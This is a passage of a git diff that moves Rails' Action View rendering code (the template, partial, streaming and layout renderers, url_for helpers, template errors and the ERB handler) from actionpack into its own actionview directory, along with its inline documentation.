+        raise ArgumentError.new("'#{object.inspect}' is not an ActiveModel-compatible object. It must implement :to_partial_path.")
+      end
+
+      if @view.prefix_partial_path_with_controller_namespace
+        prefixed_partial_names[path] ||= merge_prefix_into_object_path(@context_prefix, path.dup)
+      else
+        path
+      end
+    end
+
+    def prefixed_partial_names
+      @prefixed_partial_names ||= PREFIXED_PARTIAL_NAMES[@context_prefix]
+    end
+
+    def merge_prefix_into_object_path(prefix, object_path)
+      if prefix.include?(?/) && object_path.include?(?/)
+        prefixes = []
+        prefix_array = File.dirname(prefix).split('/')
+        object_path_array = object_path.split('/')[0..-3] # skip model dir & partial
+
+        prefix_array.each_with_index do |dir, index|
+          break if dir == object_path_array[index]
+          prefixes << dir
+        end
+
+        (prefixes << object_path).join("/")
+      else
+        object_path
+      end
+    end
+
+    def retrieve_template_keys
+      keys = @locals.keys
+      keys << @variable         if @object || @collection
+      keys << @variable_counter if @collection
+      keys
+    end
+
+    def retrieve_variable(path, as)
+      variable = as || begin
+        base = path[-1] == "/" ? "" : File.basename(path)
+        raise_invalid_identifier(path) unless base =~ /\A_?([a-z]\w*)(\.\w+)*\z/
+        $1.to_sym
+      end
+      variable_counter = :"#{variable}_counter" if @collection
+      [variable, variable_counter]
+    end
+
+    IDENTIFIER_ERROR_MESSAGE = "The partial name (%s) is not a valid Ruby identifier; " +
+                               "make sure your partial name starts with a lowercase letter or underscore, " +
+                               "and is followed by any combination of letters, numbers and underscores."
+
+    def raise_invalid_identifier(path)
+      raise ArgumentError.new(IDENTIFIER_ERROR_MESSAGE % (path))
+    end
+  end
+end
diff --git a/actionpack/lib/action_view/renderer/renderer.rb b/actionview/lib/action_view/renderer/renderer.rb
similarity index 100%
rename from actionpack/lib/action_view/renderer/renderer.rb
rename to actionview/lib/action_view/renderer/renderer.rb
diff --git a/actionview/lib/action_view/renderer/streaming_template_renderer.rb b/actionview/lib/action_view/renderer/streaming_template_renderer.rb
new file mode 100644
index 0000000..3ab2cd3
--- /dev/null
+++ b/actionview/lib/action_view/renderer/streaming_template_renderer.rb
@@ -0,0 +1,103 @@
+require 'fiber'
+
+module ActionView
+  # == TODO
+  #
+  # * Support streaming from child templates, partials and so on.
+  # * Integrate exceptions with exceptron
+  # * Rack::Cache needs to support streaming bodies
+  class StreamingTemplateRenderer < TemplateRenderer #:nodoc:
+    # A valid Rack::Body (i.e. it responds to each).
+    # It is initialized with a block that, when called, starts
+    # rendering the template.
+    class Body #:nodoc:
+      def initialize(&start)
+        @start = start
+      end
+
+      def each(&block)
+        begin
+          @start.call(block)
+        rescue Exception => exception
+          log_error(exception)
+          block.call ActionView::Base.streaming_completion_on_exception
+        end
+        self
+      end
+
+      private
+
+      # This is the same logging logic as in ShowExceptions middleware.
+      # TODO Once "exceptron" is in, refactor this piece to simply re-use exceptron.
+      def log_error(exception) #:nodoc:
+        logger = ActionView::Base.logger
+        return unless logger
+
+        message = "\n#{exception.class} (#{exception.message}):\n"
+        message << exception.annoted_source_code.to_s if exception.respond_to?(:annoted_source_code)
+        message << "  " << exception.backtrace.join("\n  ")
+        logger.fatal("#{message}\n\n")
+      end
+    end
+
+    # For streaming, instead of rendering a given a template, we return a Body
+    # object that responds to each. This object is initialized with a block
+    # that knows how to render the template.
+    def render_template(template, layout_name = nil, locals = {}) #:nodoc:
+      return [super] unless layout_name && template.supports_streaming?
+
+      locals ||= {}
+      layout   = layout_name && find_layout(layout_name, locals.keys)
+
+      Body.new do |buffer|
+        delayed_render(buffer, template, layout, @view, locals)
+      end
+    end
+
+    private
+
+    def delayed_render(buffer, template, layout, view, locals)
+      # Wrap the given buffer in the StreamingBuffer and pass it to the
+      # underlying template handler. Now, every time something is concatenated
+      # to the buffer, it is not appended to an array, but streamed straight
+      # to the client.
+      output  = ActionView::StreamingBuffer.new(buffer)
+      yielder = lambda { |*name| view._layout_for(*name) }
+
+      instrument(:template, :identifier => template.identifier, :layout => layout.try(:virtual_path)) do
+        fiber = Fiber.new do
+          if layout
+            layout.render(view, locals, output, &yielder)
+          else
+            # If you don't have a layout, just render the thing
+            # and concatenate the final result. This is the same
+            # as a layout with just <%= yield %>
+            output.safe_concat view._layout_for
+          end
+        end
+
+        # Set the view flow to support streaming. It will be aware
+        # when to stop rendering the layout because it needs to search
+        # something in the template and vice-versa.
+        view.view_flow = StreamingFlow.new(view, fiber)
+
+        # Yo! Start the fiber!
+        fiber.resume
+
+        # If the fiber is still alive, it means we need something
+        # from the template, so start rendering it. If not, it means
+        # the layout exited without requiring anything from the template.
+        if fiber.alive?
+          content = template.render(view, locals, &yielder)
+
+          # Once rendering the template is done, sets its content in the :layout key.
+          view.view_flow.set(:layout, content)
+
+          # In case the layout continues yielding, we need to resume
+          # the fiber until all yields are handled.
+          fiber.resume while fiber.alive?
+        end
+      end
+    end
+  end
+end
diff --git a/actionview/lib/action_view/renderer/template_renderer.rb b/actionview/lib/action_view/renderer/template_renderer.rb
new file mode 100644
index 0000000..be17097
--- /dev/null
+++ b/actionview/lib/action_view/renderer/template_renderer.rb
@@ -0,0 +1,102 @@
+require 'active_support/core_ext/object/try'
+
+module ActionView
+  class TemplateRenderer < AbstractRenderer #:nodoc:
+    def render(context, options)
+      @view    = context
+      @details = extract_details(options)
+      template = determine_template(options)
+      context  = @lookup_context
+
+      prepend_formats(template.formats)
+
+      unless context.rendered_format
+        context.rendered_format = template.formats.first || formats.first
+      end
+
+      render_template(template, options[:layout], options[:locals])
+    end
+
+    # Determine the template to be rendered using the given options.
+    def determine_template(options) #:nodoc:
+      keys = options.fetch(:locals, {}).keys
+
+      if options.key?(:body)
+        Template::Text.new(options[:body])
+      elsif options.key?(:text)
+        Template::Text.new(options[:text], formats.first)
+      elsif options.key?(:plain)
+        Template::Text.new(options[:plain])
+      elsif options.key?(:html)
+        Template::HTML.new(options[:html], formats.first)
+      elsif options.key?(:file)
+        with_fallbacks { find_template(options[:file], nil, false, keys, @details) }
+      elsif options.key?(:inline)
+        handler = Template.handler_for_extension(options[:type] || "erb")
+        Template.new(options[:inline], "inline template", handler, :locals => keys)
+      elsif options.key?(:template)
+        if options[:template].respond_to?(:render)
+          options[:template]
+        else
+          find_template(options[:template], options[:prefixes], false, keys, @details)
+        end
+      else
+        raise ArgumentError, "You invoked render but did not give any of :partial, :template, :inline, :file, :plain, :text or :body option."
+      end
+    end
+
+    # Renders the given template. A string representing the layout can be
+    # supplied as well.
+    def render_template(template, layout_name = nil, locals = nil) #:nodoc:
+      view, locals = @view, locals || {}
+
+      render_with_layout(layout_name, locals) do |layout|
+        instrument(:template, :identifier => template.identifier, :layout => layout.try(:virtual_path)) do
+          template.render(view, locals) { |*name| view._layout_for(*name) }
+        end
+      end
+    end
+
+    def render_with_layout(path, locals) #:nodoc:
+      layout  = path && find_layout(path, locals.keys)
+      content = yield(layout)
+
+      if layout
+        view = @view
+        view.view_flow.set(:layout, content)
+        layout.render(view, locals){ |*name| view._layout_for(*name) }
+      else
+        content
+      end
+    end
+
+    # This is the method which actually finds the layout using details in the lookup
+    # context object. If no layout is found, it checks if at least a layout with
+    # the given name exists across all details before raising the error.
+    def find_layout(layout, keys)
+      with_layout_format { resolve_layout(layout, keys) }
+    end
+
+    def resolve_layout(layout, keys)
+      case layout
+      when String
+        begin
+          if layout =~ /^\//
+            with_fallbacks { find_template(layout, nil, false, keys, @details) }
+          else
+            find_template(layout, nil, false, keys, @details)
+          end
+        rescue ActionView::MissingTemplate
+          all_details = @details.merge(:formats => @lookup_context.default_formats)
+          raise unless template_exists?(layout, nil, false, keys, all_details)
+        end
+      when Proc
+        resolve_layout(layout.call, keys)
+      when FalseClass
+        nil
+      else
+        layout
+      end
+    end
+  end
+end
diff --git a/actionview/lib/action_view/rendering.rb b/actionview/lib/action_view/rendering.rb
new file mode 100644
index 0000000..017302d
--- /dev/null
+++ b/actionview/lib/action_view/rendering.rb
@@ -0,0 +1,145 @@
+require "action_view/view_paths"
+
+module ActionView
+  # This is a class to fix I18n global state. Whenever you provide I18n.locale during a request,
+  # it will trigger the lookup_context and consequently expire the cache.
+  class I18nProxy < ::I18n::Config #:nodoc:
+    attr_reader :original_config, :lookup_context
+
+    def initialize(original_config, lookup_context)
+      original_config = original_config.original_config if original_config.respond_to?(:original_config)
+      @original_config, @lookup_context = original_config, lookup_context
+    end
+
+    def locale
+      @original_config.locale
+    end
+
+    def locale=(value)
+      @lookup_context.locale = value
+    end
+  end
+
+  module Rendering
+    extend ActiveSupport::Concern
+    include ActionView::ViewPaths
+
+    # Overwrite process to setup I18n proxy.
+    def process(*) #:nodoc:
+      old_config, I18n.config = I18n.config, I18nProxy.new(I18n.config, lookup_context)
+      super
+    ensure
+      I18n.config = old_config
+    end
+
+    module ClassMethods
+      def view_context_class
+        @view_context_class ||= begin
+          routes = respond_to?(:_routes) && _routes
+          helpers = respond_to?(:_helpers) && _helpers
+
+          Class.new(ActionView::Base) do
+            if routes
+              include routes.url_helpers
+              include routes.mounted_helpers
+            end
+
+            if helpers
+              include helpers
+            end
+          end
+        end
+      end
+    end
+
+    attr_internal_writer :view_context_class
+
+    def view_context_class
+      @_view_context_class ||= self.class.view_context_class
+    end
+
+    # An instance of a view class. The default view class is ActionView::Base
+    #
+    # The view class must have the following methods:
+    # View.new[lookup_context, assigns, controller]
+    #   Create a new ActionView instance for a controller
+    # View#render[options]
+    #   Returns String with the rendered template
+    #
+    # Override this method in a module to change the default behavior.
+    def view_context
+      view_context_class.new(view_renderer, view_assigns, self)
+    end
+
+    # Returns an object that is able to render templates.
+    # :api: private
+    def view_renderer
+      @_view_renderer ||= ActionView::Renderer.new(lookup_context)
+    end
+
+    def render_to_body(options = {})
+      _process_options(options)
+      _render_template(options)
+    end
+
+    def rendered_format
+      Mime[lookup_context.rendered_format]
+    end
+
+    private
+
+      # Find and render a template based on the options given.
+      # :api: private
+      def _render_template(options) #:nodoc:
+        variant = options[:variant]
+
+        lookup_context.rendered_format = nil if options[:formats]
+        lookup_context.variants = variant if variant
+
+        view_renderer.render(view_context, options)
+      end
+
+      # Assign the rendered format to lookup context.
+      def _process_format(format, options = {}) #:nodoc:
+        super
+        lookup_context.formats = [format.to_sym]
+        lookup_context.rendered_format = lookup_context.formats.first
+      end
+
+      # Normalize args by converting render "foo" to render :action => "foo" and
+      # render "foo/bar" to render :file => "foo/bar".
+      # :api: private
+      def _normalize_args(action=nil, options={})
+        options = super(action, options)
+        case action
+        when NilClass
+        when Hash
+          options = action
+        when String, Symbol
+          action = action.to_s
+          key = action.include?(?/) ? :file : :action
+          options[key] = action
+        else
+          options[:partial] = action
+        end
+
+        options
+      end
+
+      # Normalize options.
+      # :api: private
+      def _normalize_options(options)
+        options = super(options)
+        if options[:partial] == true
+          options[:partial] = action_name
+        end
+
+        if (options.keys & [:partial, :file, :template]).empty?
+          options[:prefixes] ||= _prefixes
+        end
+
+        options[:template] ||= (options[:action] || action_name).to_s
+        options
+      end
+  end
+end
diff --git a/actionview/lib/action_view/routing_url_for.rb b/actionview/lib/action_view/routing_url_for.rb
new file mode 100644
index 0000000..33be06c
--- /dev/null
+++ b/actionview/lib/action_view/routing_url_for.rb
@@ -0,0 +1,109 @@
+module ActionView
+  module RoutingUrlFor
+
+    # Returns the URL for the set of +options+ provided. This takes the
+    # same options as +url_for+ in Action Controller (see the
+    # documentation for <tt>ActionController::Base#url_for</tt>). Note that by default
+    # <tt>:only_path</tt> is <tt>true</tt> so you'll get the relative "/controller/action"
+    # instead of the fully qualified URL like "http://example.com/controller/action".
+    #
+    # ==== Options
+    # * <tt>:anchor</tt> - Specifies the anchor name to be appended to the path.
+    # * <tt>:only_path</tt> - If true, returns the relative URL (omitting the protocol, host name, and port) (<tt>true</tt> by default unless <tt>:host</tt> is specified).
+    # * <tt>:trailing_slash</tt> - If true, adds a trailing slash, as in "/archive/2005/". Note that this
+    #   is currently not recommended since it breaks caching.
+    # * <tt>:host</tt> - Overrides the default (current) host if provided.
+    # * <tt>:protocol</tt> - Overrides the default (current) protocol if provided.
+    # * <tt>:user</tt> - Inline HTTP authentication (only plucked out if <tt>:password</tt> is also present).
+    # * <tt>:password</tt> - Inline HTTP authentication (only plucked out if <tt>:user</tt> is also present).
+    #
+    # ==== Relying on named routes
+    #
+    # Passing a record (like an Active Record) instead of a hash as the options parameter will
+    # trigger the named route for that record. The lookup will happen on the name of the class. So passing a
+    # Workshop object will attempt to use the +workshop_path+ route. If you have a nested route, such as
+    # +admin_workshop_path+ you'll have to call that explicitly (it's impossible for +url_for+ to guess that route).
+    #
+    # ==== Implicit Controller Namespacing
+    #
+    # Controllers passed in using the +:controller+ option will retain their namespace unless it is an absolute one.
+    #
+    # ==== Examples
+    #   <%= url_for(action: 'index') %>
+    #   # => /blog/
+    #
+    #   <%= url_for(action: 'find', controller: 'books') %>
+    #   # => /books/find
+    #
+    #   <%= url_for(action: 'login', controller: 'members', only_path: false, protocol: 'https') %>
+    #   # => https://www.example.com/members/login/
+    #
+    #   <%= url_for(action: 'play', anchor: 'player') %>
+    #   # => /messages/play/#player
+    #
+    #   <%= url_for(action: 'jump', anchor: 'tax&ship') %>
+    #   # => /testing/jump/#tax&ship
+    #
+    #   <%= url_for(Workshop.new) %>
+    #   # relies on Workshop answering a persisted? call (and in this case returning false)
+    #   # => /workshops
+    #
+    #   <%= url_for(@workshop) %>
+    #   # calls @workshop.to_param which by default returns the id
+    #   # => /workshops/5
+    #
+    #   # to_param can be re-defined in a model to provide different URL names:
+    #   # => /workshops/1-workshop-name
+    #
+    #   <%= url_for("http://www.example.com") %>
+    #   # => http://www.example.com
+    #
+    #   <%= url_for(:back) %>
+    #   # if request.env["HTTP_REFERER"] is set to "http://www.example.com"
+    #   # => http://www.example.com
+    #
+    #   <%= url_for(:back) %>
+    #   # if request.env["HTTP_REFERER"] is not set or is blank
+    #   # => javascript:history.back()
+    #
+    #   <%= url_for(action: 'index', controller: 'users') %>
+    #   # Assuming an "admin" namespace
+    #   # => /admin/users
+    #
+    #   <%= url_for(action: 'index', controller: '/users') %>
+    #   # Specify absolute path with beginning slash
+    #   # => /users
+    def url_for(options = nil)
+      case options
+      when String
+        options
+      when nil, Hash
+        options ||= {}
+        options = { :only_path => options[:host].nil? }.merge!(options.symbolize_keys)
+        super
+      when :back
+        _back_url
+      when Array
+        polymorphic_path(options, options.extract_options!)
+      else
+        polymorphic_path(options)
+      end
+    end
+
+    def url_options #:nodoc:
+      return super unless controller.respond_to?(:url_options)
+      controller.url_options
+    end
+
+    def _routes_context #:nodoc:
+      controller
+    end
+    protected :_routes_context
+
+    def optimize_routes_generation? #:nodoc:
+      controller.respond_to?(:optimize_routes_generation?, true) ?
+        controller.optimize_routes_generation? : super
+    end
+    protected :optimize_routes_generation?
+  end
+end
diff --git a/actionpack/lib/action_view/tasks/dependencies.rake b/actionview/lib/action_view/tasks/dependencies.rake
similarity index 100%
rename from actionpack/lib/action_view/tasks/dependencies.rake
rename to actionview/lib/action_view/tasks/dependencies.rake
diff --git a/actionview/lib/action_view/template.rb b/actionview/lib/action_view/template.rb
new file mode 100644
index 0000000..9d39d02
--- /dev/null
+++ b/actionview/lib/action_view/template.rb
@@ -0,0 +1,342 @@
+require 'active_support/core_ext/object/try'
+require 'active_support/core_ext/kernel/singleton_class'
+require 'thread'
+
+module ActionView
+  # = Action View Template
+  class Template
+    extend ActiveSupport::Autoload
+
+    # === Encodings in ActionView::Template
+    #
+    # ActionView::Template is one of a few sources of potential
+    # encoding issues in Rails. This is because the source for
+    # templates are usually read from disk, and Ruby (like most
+    # encoding-aware programming languages) assumes that the
+    # String retrieved through File IO is encoded in the
+    # <tt>default_external</tt> encoding. In Rails, the default
+    # <tt>default_external</tt> encoding is UTF-8.
+    #
+    # As a result, if a user saves their template as ISO-8859-1
+    # (for instance, using a non-Unicode-aware text editor),
+    # and uses characters outside of the ASCII range, their
+    # users will see diamonds with question marks in them in
+    # the browser.
+    #
+    # For the rest of this documentation, when we say "UTF-8",
+    # we mean "UTF-8 or whatever the default_internal encoding
+    # is set to". By default, it will be UTF-8.
+    #
+    # To mitigate this problem, we use a few strategies:
+    # 1. If the source is not valid UTF-8, we raise an exception
+    #    when the template is compiled to alert the user
+    #    to the problem.
+    # 2. The user can specify the encoding using Ruby-style
+    #    encoding comments in any template engine. If such
+    #    a comment is supplied, Rails will apply that encoding
+    #    to the resulting compiled source returned by the
+    #    template handler.
+    # 3. In all cases, we transcode the resulting String to
+    #    the UTF-8.
+    #
+    # This means that other parts of Rails can always assume
+    # that templates are encoded in UTF-8, even if the original
+    # source of the template was not UTF-8.
+    #
+    # From a user's perspective, the easiest thing to do is
+    # to save your templates as UTF-8. If you do this, you
+    # do not need to do anything else for things to "just work".
+    #
+    # === Instructions for template handlers
+    #
+    # The easiest thing for you to do is to simply ignore
+    # encodings. Rails will hand you the template source
+    # as the default_internal (generally UTF-8), raising
+    # an exception for the user before sending the template
+    # to you if it could not determine the original encoding.
+    #
+    # For the greatest simplicity, you can support only
+    # UTF-8 as the <tt>default_internal</tt>. This means
+    # that from the perspective of your handler, the
+    # entire pipeline is just UTF-8.
+    #
+    # === Advanced: Handlers with alternate metadata sources
+    #
+    # If you want to provide an alternate mechanism for
+    # specifying encodings (like ERB does via <%# encoding: ... %>),
+    # you may indicate that you will handle encodings yourself
+    # by implementing <tt>self.handles_encoding?</tt>
+    # on your handler.
+    #
+    # If you do, Rails will not try to encode the String
+    # into the default_internal, passing you the unaltered
+    # bytes tagged with the assumed encoding (from
+    # default_external).
+    #
+    # In this case, make sure you return a String from
+    # your handler encoded in the default_internal. Since
+    # you are handling out-of-band metadata, you are
+    # also responsible for alerting the user to any
+    # problems with converting the user's data to
+    # the <tt>default_internal</tt>.
+    #
+    # To do so, simply raise +WrongEncodingError+ as follows:
+    #
+    #     raise WrongEncodingError.new(
+    #       problematic_string,
+    #       expected_encoding
+    #     )
+
+    eager_autoload do
+      autoload :Error
+      autoload :Handlers
+      autoload :HTML
+      autoload :Text
+      autoload :Types
+    end
+
+    extend Template::Handlers
+
+    attr_accessor :locals, :formats, :variants, :virtual_path
+
+    attr_reader :source, :identifier, :handler, :original_encoding, :updated_at
+
+    # This finalizer is needed (and exactly with a proc inside another proc)
+    # otherwise templates leak in development.
+    Finalizer = proc do |method_name, mod|
+      proc do
+        mod.module_eval do
+          remove_possible_method method_name
+        end
+      end
+    end
+
+    def initialize(source, identifier, handler, details)
+      format = details[:format] || (handler.default_format if handler.respond_to?(:default_format))
+
+      @source            = source
+      @identifier        = identifier
+      @handler           = handler
+      @compiled          = false
+      @original_encoding = nil
+      @locals            = details[:locals] || []
+      @virtual_path      = details[:virtual_path]
+      @updated_at        = details[:updated_at] || Time.now
+      @formats           = Array(format).map { |f| f.respond_to?(:ref) ? f.ref : f  }
+      @variants          = [details[:variant]]
+      @compile_mutex     = Mutex.new
+    end
+
+    # Returns if the underlying handler supports streaming. If so,
+    # a streaming buffer *may* be passed when it start rendering.
+    def supports_streaming?
+      handler.respond_to?(:supports_streaming?) && handler.supports_streaming?
+    end
+
+    # Render a template. If the template was not compiled yet, it is done
+    # exactly before rendering.
+    #
+    # This method is instrumented as "!render_template.action_view". Notice that
+    # we use a bang in this instrumentation because you don't want to
+    # consume this in production. This is only slow if it's being listened to.
+    def render(view, locals, buffer=nil, &block)
+      instrument("!render_template") do
+        compile!(view)
+        view.send(method_name, locals, buffer, &block)
+      end
+    rescue => e
+      handle_render_error(view, e)
+    end
+
+    def type
+      @type ||= Types[@formats.first] if @formats.first
+    end
+
+    # Receives a view object and return a template similar to self by using @virtual_path.
+    #
+    # This method is useful if you have a template object but it does not contain its source
+    # anymore since it was already compiled. In such cases, all you need to do is to call
+    # refresh passing in the view object.
+    #
+    # Notice this method raises an error if the template to be refreshed does not have a
+    # virtual path set (true just for inline templates).
+    def refresh(view)
+      raise "A template needs to have a virtual path in order to be refreshed" unless @virtual_path
+      lookup  = view.lookup_context
+      pieces  = @virtual_path.split("/")
+      name    = pieces.pop
+      partial = !!name.sub!(/^_/, "")
+      lookup.disable_cache do
+        lookup.find_template(name, [ pieces.join('/') ], partial, @locals)
+      end
+    end
+
+    def inspect
+      @inspect ||= defined?(Rails.root) ? identifier.sub("#{Rails.root}/", '') : identifier
+    end
+
+    # This method is responsible for properly setting the encoding of the
+    # source. Until this point, we assume that the source is BINARY data.
+    # If no additional information is supplied, we assume the encoding is
+    # the same as <tt>Encoding.default_external</tt>.
+    #
+    # The user can also specify the encoding via a comment on the first
+    # line of the template (# encoding: NAME-OF-ENCODING). This will work
+    # with any template engine, as we process out the encoding comment
+    # before passing the source on to the template engine, leaving a
+    # blank line in its stead.
+    def encode!
+      return unless source.encoding == Encoding::BINARY
+
+      # Look for # encoding: *. If we find one, we'll encode the
+      # String in that encoding, otherwise, we'll use the
+      # default external encoding.
+      if source.sub!(/\A#{ENCODING_FLAG}/, '')
+        encoding = magic_encoding = $1
+      else
+        encoding = Encoding.default_external
+      end
+
+      # Tag the source with the default external encoding
+      # or the encoding specified in the file
+      source.force_encoding(encoding)
+
+      # If the user didn't specify an encoding, and the handler
+      # handles encodings, we simply pass the String as is to
+      # the handler (with the default_external tag)
+      if !magic_encoding && @handler.respond_to?(:handles_encoding?) && @handler.handles_encoding?
+        source
+      # Otherwise, if the String is valid in the encoding,
+      # encode immediately to default_internal. This means
+      # that if a handler doesn't handle encodings, it will
+      # always get Strings in the default_internal
+      elsif source.valid_encoding?
+        source.encode!
+      # Otherwise, since the String is invalid in the encoding
+      # specified, raise an exception
+      else
+        raise WrongEncodingError.new(source, encoding)
+      end
+    end
+
+    protected
+
+      # Compile a template. This method ensures a template is compiled
+      # just once and removes the source after it is compiled.
+      def compile!(view) #:nodoc:
+        return if @compiled
+
+        # Templates can be used concurrently in threaded environments
+        # so compilation and any instance variable modification must
+        # be synchronized
+        @compile_mutex.synchronize do
+          # Any thread holding this lock will be compiling the template needed
+          # by the threads waiting. So re-check the @compiled flag to avoid
+          # re-compilation
+          return if @compiled
+
+          if view.is_a?(ActionView::CompiledTemplates)
+            mod = ActionView::CompiledTemplates
+          else
+            mod = view.singleton_class
+          end
+
+          instrument("!compile_template") do
+            compile(view, mod)
+          end
+
+          # Just discard the source if we have a virtual path. This
+          # means we can get the template back.
+          @source = nil if @virtual_path
+          @compiled = true
+        end
+      end
+
+      # Among other things, this method is responsible for properly setting
+      # the encoding of the compiled template.
+      #
+      # If the template engine handles encodings, we send the encoded
+      # String to the engine without further processing. This allows
+      # the template engine to support additional mechanisms for
+      # specifying the encoding. For instance, ERB supports <%# encoding: %>
+      #
+      # Otherwise, after we figure out the correct encoding, we then
+      # encode the source into <tt>Encoding.default_internal</tt>.
+      # In general, this means that templates will be UTF-8 inside of Rails,
+      # regardless of the original source encoding.
+      def compile(view, mod) #:nodoc:
+        encode!
+        method_name = self.method_name
+        code = @handler.call(self)
+
+        # Make sure that the resulting String to be eval'd is in the
+        # encoding of the code
+        source = <<-end_src
+          def #{method_name}(local_assigns, output_buffer)
+            _old_virtual_path, @virtual_path = @virtual_path, #{@virtual_path.inspect};_old_output_buffer = @output_buffer;#{locals_code};#{code}
+          ensure
+            @virtual_path, @output_buffer = _old_virtual_path, _old_output_buffer
+          end
+        end_src
+
+        # Make sure the source is in the encoding of the returned code
+        source.force_encoding(code.encoding)
+
+        # In case we get back a String from a handler that is not in
+        # BINARY or the default_internal, encode it to the default_internal
+        source.encode!
+
+        # Now, validate that the source we got back from the template
+        # handler is valid in the default_internal. This is for handlers
+        # that handle encoding but screw up
+        unless source.valid_encoding?
+          raise WrongEncodingError.new(@source, Encoding.default_internal)
+        end
+
+        begin
+          mod.module_eval(source, identifier, 0)
+          ObjectSpace.define_finalizer(self, Finalizer[method_name, mod])
+        rescue => e # errors from template code
+          if logger = (view && view.logger)
+            logger.debug "ERROR: compiling #{method_name} RAISED #{e}"
+            logger.debug "Function body: #{source}"
+            logger.debug "Backtrace: #{e.backtrace.join("\n")}"
+          end
+
+          raise ActionView::Template::Error.new(self, e)
+        end
+      end
+
+      def handle_render_error(view, e) #:nodoc:
+        if e.is_a?(Template::Error)
+          e.sub_template_of(self)
+          raise e
+        else
+          template = self
+          unless template.source
+            template = refresh(view)
+            template.encode!
+          end
+          raise Template::Error.new(template, e)
+        end
+      end
+
+      def locals_code #:nodoc:
+        # Double assign to suppress the dreaded 'assigned but unused variable' warning
+        @locals.map { |key| "#{key} = #{key} = local_assigns[:#{key}];" }.join
+      end
+
+      def method_name #:nodoc:
+        @method_name ||= "_#{identifier_method_name}__#{@identifier.hash}_#{__id__}".gsub('-', "_")
+      end
+
+      def identifier_method_name #:nodoc:
+        inspect.gsub(/[^a-z_]/, '_')
+      end
+
+      def instrument(action, &block)
+        payload = { virtual_path: @virtual_path, identifier: @identifier }
+        ActiveSupport::Notifications.instrument("#{action}.action_view", payload, &block)
+      end
+  end
+end
diff --git a/actionview/lib/action_view/template/error.rb b/actionview/lib/action_view/template/error.rb
new file mode 100644
index 0000000..743ef6d
--- /dev/null
+++ b/actionview/lib/action_view/template/error.rb
@@ -0,0 +1,141 @@
+require "active_support/core_ext/enumerable"
+
+module ActionView
+  # = Action View Errors
+  class ActionViewError < StandardError #:nodoc:
+  end
+
+  class EncodingError < StandardError #:nodoc:
+  end
+
+  class MissingRequestError < StandardError #:nodoc:
+  end
+
+  class WrongEncodingError < EncodingError #:nodoc:
+    def initialize(string, encoding)
+      @string, @encoding = string, encoding
+    end
+
+    def message
+      @string.force_encoding(Encoding::ASCII_8BIT)
+      "Your template was not saved as valid #{@encoding}. Please " \
+      "either specify #{@encoding} as the encoding for your template " \
+      "in your text editor, or mark the template with its " \
+      "encoding by inserting the following as the first line " \
+      "of the template:\n\n# encoding: <name of correct encoding>.\n\n" \
+      "The source of your template was:\n\n#{@string}"
+    end
+  end
+
+  class MissingTemplate < ActionViewError #:nodoc:
+    attr_reader :path
+
+    def initialize(paths, path, prefixes, partial, details, *)
+      @path = path
+      prefixes = Array(prefixes)
+      template_type = if partial
+        "partial"
+      elsif path =~ /layouts/i
+        'layout'
+      else
+        'template'
+      end
+
+      if partial && path.present?
+        path = path.sub(%r{([^/]+)$}, "_\\1")
+      end
+      searched_paths = prefixes.map { |prefix| [prefix, path].join("/") }
+
+      out  = "Missing #{template_type} #{searched_paths.join(", ")} with #{details.inspect}. Searched in:\n"
+      out += paths.compact.map { |p| "  * #{p.to_s.inspect}\n" }.join
+      super out
+    end
+  end
+
+  class Template
+    # The Template::Error exception is raised when the compilation or rendering of the template
+    # fails. This exception then gathers a bunch of intimate details and uses it to report a
+    # precise exception message.
+    class Error < ActionViewError #:nodoc:
+      SOURCE_CODE_RADIUS = 3
+
+      attr_reader :original_exception
+
+      def initialize(template, original_exception)
+        super(original_exception.message)
+        @template, @original_exception = template, original_exception
+        @sub_templates = nil
+        set_backtrace(original_exception.backtrace)
+      end
+
+      def file_name
+        @template.identifier
+      end
+
+      def sub_template_message
+        if @sub_templates
+          "Trace of template inclusion: " +
+          @sub_templates.collect { |template| template.inspect }.join(", ")
+        else
+          ""
+        end
+      end
+
+      def source_extract(indentation = 0, output = :console)
+        return unless num = line_number
+        num = num.to_i
+
+        source_code = @template.source.split("\n")
+
+        start_on_line = [ num - SOURCE_CODE_RADIUS - 1, 0 ].max
+        end_on_line   = [ num + SOURCE_CODE_RADIUS - 1, source_code.length].min
+
+        indent = end_on_line.to_s.size + indentation
+        return unless source_code = source_code[start_on_line..end_on_line]
+
+        formatted_code_for(source_code, start_on_line, indent, output)
+      end
+
+      def sub_template_of(template_path)
+        @sub_templates ||= []
+        @sub_templates << template_path
+      end
+
+      def line_number
+        @line_number ||=
+          if file_name
+            regexp = /#{Regexp.escape File.basename(file_name)}:(\d+)/
+            $1 if message =~ regexp || backtrace.find { |line| line =~ regexp }
+          end
+      end
+
+      def annoted_source_code
+        source_extract(4)
+      end
+
+      private
+
+        def source_location
+          if line_number
+            "on line ##{line_number} of "
+          else
+            'in '
+          end + file_name
+        end
+
+        def formatted_code_for(source_code, line_counter, indent, output)
+          start_value = (output == :html) ? {} : ""
+          source_code.inject(start_value) do |result, line|
+            line_counter += 1
+            if output == :html
+              result.update(line_counter.to_s => "%#{indent}s %s\n" % ["", line])
+            else
+              result << "%#{indent}s: %s\n" % [line_counter, line]
+            end
+          end
+        end
+    end
+  end
+
+  TemplateError = Template::Error
+end
diff --git a/actionpack/lib/action_view/template/handlers.rb b/actionview/lib/action_view/template/handlers.rb
similarity index 100%
rename from actionpack/lib/action_view/template/handlers.rb
rename to actionview/lib/action_view/template/handlers.rb
diff --git a/actionpack/lib/action_view/template/handlers/builder.rb b/actionview/lib/action_view/template/handlers/builder.rb
similarity index 100%
rename from actionpack/lib/action_view/template/handlers/builder.rb
rename to actionview/lib/action_view/template/handlers/builder.rb
diff --git a/actionview/lib/action_view/template/handlers/erb.rb b/actionview/lib/action_view/template/handlers/erb.rb
new file mode 100644
index 0000000..4523060
--- /dev/null
+++ b/actionview/lib/action_view/template/handlers/erb.rb
@@ -0,0 +1,145 @@
+require 'erubis'
+
+module ActionView
+  class Template
+    module Handlers
+      class Erubis < ::Erubis::Eruby
+        def add_preamble(src)
+          @newline_pending = 0
+          src << "@output_buffer = output_buffer || ActionView::OutputBuffer.new;"
+        end
+
+        def add_text(src, text)
+          return if text.empty?
+
+          if text == "\n"
+            @newline_pending += 1
+          else
+            src << "@output_buffer.safe_append='"
+            src << "\n" * @newline_pending if @newline_pending > 0
+            src << escape_text(text)
+            src << "'.freeze;"
+
+            @newline_pending = 0
+          end
+        end
+
+        # Erubis toggles <%= and <%== behavior when escaping is enabled.
+        # We override to always treat <%== as escaped.
+        def add_expr(src, code, indicator)
+          case indicator
+          when '=='
+            add_expr_escaped(src, code)
+          else
+            super
